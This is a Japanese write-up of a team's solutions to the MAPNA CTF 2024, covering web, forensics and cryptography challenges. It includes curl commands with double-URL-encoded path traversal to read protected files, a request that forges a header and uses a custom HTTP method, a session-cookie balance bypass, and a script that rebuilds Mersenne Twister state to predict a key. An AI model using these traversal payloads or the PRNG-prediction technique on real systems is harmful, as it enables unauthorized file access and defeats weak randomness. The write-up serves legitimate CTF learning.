この大会は2024/1/21 0:00(JST)~2024/1/22 0:00(JST)に開催されました。
今回もチームで参戦。結果は462点で685チーム中60位でした。
自分で解けた問題をWriteupとして書いておきます。
CTF Welcome 🎉 (Trivia)
問題にフラグが書いてあった。
MAPNA{🚩_CTF_infoS3cV1ct0rY_@_MECO_MAPNA}
Flag Holding (Web, Warmup)
問題のWebページにアクセスすると、以下のように書いてある。
You are not coming from "http://flagland.internal/".
HTTPヘッダのRefererを使ってアクセスする。
$ curl -H "Referer: http://flagland.internal/" http://18.184.219.56:8080/ <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Flag holding</title> <style> body { background-color: #1a4a5e; } .msg { text-align: center; font-family: sans-serif; color: white; font-size: 40px; line-height: 500px; } </style> </head> <body> <div class="msg" style=""> Unspecified "secret". </div> </body> </html>
パラメータにsecretが必要のようだ。
$ curl -H "Referer: http://flagland.internal/" http://18.184.219.56:8080/?secret <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Flag holding</title> <style> body { background-color: #1a4a5e; } .msg { text-align: center; font-family: sans-serif; color: white; font-size: 40px; line-height: 500px; } </style> </head> <body> <div class="msg" style=""> Incorrect secret. <!-- hint: secret is ____ which is the name of the protocol that both this server and your browser agrees on... --> </div> </body> </html>
secretにこの通信のプロトコル名を指定する必要がある。
$ curl -H "Referer: http://flagland.internal/" http://18.184.219.56:8080/?secret=http <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Flag holding</title> <style> body { background-color: #1a4a5e; } .msg { text-align: center; font-family: sans-serif; color: white; font-size: 40px; line-height: 500px; } </style> </head> <body> <div class="msg" style=""> Sorry we don't have "GET" here but we might have other things like "FLAG". </div> </body> </html>
HTTPメソッドにFLAGを指定する必要がある。
$ curl -X FLAG -H "Referer: http://flagland.internal/" http://18.184.219.56:8080/?secret=http <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Flag holding</title> <style> body { background-color: #1a4a5e; } .msg { text-align: center; font-family: sans-serif; color: white; font-size: 40px; line-height: 500px; } </style> </head> <body> <div class="msg" style=""> MAPNA{533m5-l1k3-y0u-kn0w-h77p-1836a2f} </div> </body> </html>
MAPNA{533m5-l1k3-y0u-kn0w-h77p-1836a2f}
Novel reader (Web)
/api/read/で"public/"から始まるファイルを読むことができる。
読みたいファイルは/flag.txtなので、以下を指定し読んでみる。
public/../../../flag.txt
$ curl --path-as-is "http://3.64.250.135:9000/api/read/public/../flag.txt" {"msg":"You can only read public novels!","success":false}
そのままでは読めない。URLエンコードを2回することによって、unquoteされても"public/"からはじめるよう調整する。
$ curl --path-as-is "http://3.64.250.135:9000/api/read/public%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fflag%252Etxt" {"msg":"MAPNA{uhhh-1-7h1nk-1-f0r607-70-ch3ck-cr3d17>0-4b331d4b}\n\n... Charge your account to unlock more of the novel!","success":true}
MAPNA{uhhh-1-7h1nk-1-f0r607-70-ch3ck-cr3d17>0-4b331d4b}
Novel Reader 2 (Web)
Novel readerの続き。
読みたいファイルは/private/A-Secret-Tale.txtなので、以下を指定し読んでみる。
public/../private/A-Secret-Tale.txt
$ curl --path-as-is "http://3.64.250.135:9000/api/read/public/../private/A-Secret-Tale.txt" {"msg":"You can only read public novels!","success":false}
やはりそのままでは読めない。URLエンコードを2回することによって、unquoteされても"public/"からはじめるよう調整する。
$ curl --path-as-is "http://3.64.250.135:9000/api/read/public%252F%252E%252E%252Fprivate%252FA%252DSecret%252DTale%252Etxt" {"msg":"Once... Charge your account to unlock more of the novel!","success":true}
読み込むファイルのスペース区切りの単語数がwords_balanceの数まで表示されるという機能があるので、フラグの部分までは表示されない。
words_balanceが-1になるようnwordsに-2を指定する。
ブラウザでhttp://3.64.250.135:9000/にアクセスし、Number of Wordsに-2を指定し、Words Balanceを-1にする。
クッキーを確認すると、sessionの値が以下のようになっている。
eyJjcmVkaXQiOjEyMCwid29yZHNfYmFsYW5jZSI6LTF9.ZazWow.7hOC6N9OxePoid_1V2Oac1G3QaY
$ curl --path-as-is -b "session=eyJjcmVkaXQiOjEyMCwid29yZHNfYmFsYW5jZSI6LTF9.ZazWow.7hOC6N9OxePoid_1V2Oac1G3QaY" "http://3.64.250.135:9000/api/read/public%252F%252E%252E%252Fprivate%252FA%252DSecret%252DTale%252Etxt" {"msg":"Once a upon time there was a flag. The flag was read like this: MAPNA{uhhh-y0u-607-m3-4641n-3f4b38571}.... Charge your account to unlock more of the novel!","success":true}
MAPNA{uhhh-y0u-607-m3-4641n-3f4b38571}
PLC I 🤖 (Warmup, Forensics)
TCPのACKのEthernetのトレーラにある文字列を抽出する。
No.19: 3:Ld_4lW4 No.31: 5:3__PaAD No.35: 1:MAPNA{y No.39: 4:yS__CaR No.46: 6:d1n9!!} No.50: 2:0U_sHOu
":"の前をインデックスとして並び替えれば、フラグになる。
MAPNA{y0U_sHOuLd_4lW4yS__CaR3__PaADd1n9!!}
What next? (Warmup, Cryptography)
いろいろ処理をしているが、結局flagとKEYをXORしてencを算出しているだけ。encをKEYとXORして復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * with open('output.txt', 'r') as f: params = f.read().splitlines() KEY = int(params[1].split(' ')[-1]) enc = int(params[2].split(' ')[-1]) flag = long_to_bytes(enc ^ KEY).decode() print(flag)
MAPNA{R_U_MT19937_PRNG_Predictor?}
What next II? (Cryptography)
暗号化処理の概要は以下の通り。
・n = 80 ・TMP: i番目がランダム256ビット整数 * i ** 2の要素80個の配列 ・KEY: i番目がランダム(256 // (2 ** i))ビット整数 ** 2の要素8個の合計 ・enc: flagとKEYのXOR ・TMPとencを出力
Mersenne Twisterの性質を使って、TMPの値からKEYを割り出す。あとはencとKEYのXORをすれば、フラグになる。
#!/usr/bin/env python3 from random import * from Crypto.Util.number import * def untemper(rand): rand ^= rand >> 18; rand ^= (rand << 15) & 0xefc60000; a = rand ^ ((rand << 7) & 0x9d2c5680); b = rand ^ ((a << 7) & 0x9d2c5680); c = rand ^ ((b << 7) & 0x9d2c5680); d = rand ^ ((c << 7) & 0x9d2c5680); rand = rand ^ ((d << 7) & 0x9d2c5680); rand ^= ((rand ^ (rand >> 11)) >> 11); return rand with open('output.txt', 'r') as f: params = f.read().splitlines() TMP = eval(params[0].split(' = ')[1]) enc = int(params[1].split(' = ')[1]) N = 624 state = [] for i in range(1, N // (256 // 32) + 1): div = i ** 2 assert TMP[i] % div == 0 r = TMP[i] // div for j in range(8): state.append(untemper((r >> (j * 32)) & 0xffffffff)) state.append(N) setstate([3, tuple(state), None]) begin = i + 1 for i in range(begin, 80): assert getrandbits(256) * i ** 2 == TMP[i] KEY = sum([getrandbits(256 >> _) ** 2 for _ in range(8)]) flag = long_to_bytes(enc ^ KEY).decode() print(flag)
MAPNA{4Re_y0U_MT19937_PRNG_pr3d!cT0r_R3ven9E_4057950503c1e3992}